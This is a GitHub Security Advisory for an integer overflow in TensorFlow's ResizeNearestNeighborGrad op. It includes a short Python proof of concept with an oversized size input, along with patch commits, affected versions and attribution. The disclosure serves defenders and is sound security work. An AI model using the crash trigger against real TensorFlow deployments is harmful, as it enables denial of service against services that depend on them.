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GHSA-368v-7v32-52fx

GitHub Security Advisory

Overflow in `ResizeNearestNeighborGrad`

✓ GitHub Reviewed MODERATE Has CVE

Advisory Details

### Impact
When [`tf.raw_ops.ResizeNearestNeighborGrad`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/image/resize_nearest_neighbor_op.cc) is given a large `size` input, it overflows.
```
import tensorflow as tf

align_corners = True
half_pixel_centers = False
grads = tf.constant(1, shape=[1,8,16,3], dtype=tf.float16)
size = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw_ops.ResizeNearestNeighborGrad(grads=grads, size=size, align_corners=align_corners, half_pixel_centers=half_pixel_centers)
```

### Patches
We have patched the issue in GitHub commit [00c821af032ba9e5f5fa3fe14690c8d28a657624](https://github.com/tensorflow/tensorflow/commit/00c821af032ba9e5f5fa3fe14690c8d28a657624).

The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.

Affected Packages

PyPI tensorflow
Affected versions: 0 (fixed in 2.8.4)
PyPI tensorflow
Affected versions: 2.9.0 (fixed in 2.9.3)
PyPI tensorflow
Affected versions: 2.10.0 (fixed in 2.10.1)
PyPI tensorflow-cpu
Affected versions: 0 (fixed in 2.8.4)
PyPI tensorflow-gpu
Affected versions: 0 (fixed in 2.8.4)
PyPI tensorflow-cpu
Affected versions: 2.9.0 (fixed in 2.9.3)
PyPI tensorflow-gpu
Affected versions: 2.9.0 (fixed in 2.9.3)
PyPI tensorflow-cpu
Affected versions: 2.10.0 (fixed in 2.10.1)
PyPI tensorflow-gpu
Affected versions: 2.10.0 (fixed in 2.10.1)

Related CVEs

Key Information

GHSA ID
GHSA-368v-7v32-52fx
Published
November 21, 2022 10:04 PM
Last Modified
November 21, 2022 10:04 PM
CVSS Score
5.0 /10
Primary Ecosystem
PyPI
Primary Package
tensorflow
GitHub Reviewed
✓ Yes

Dataset

Last updated: November 23, 2025 6:29 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.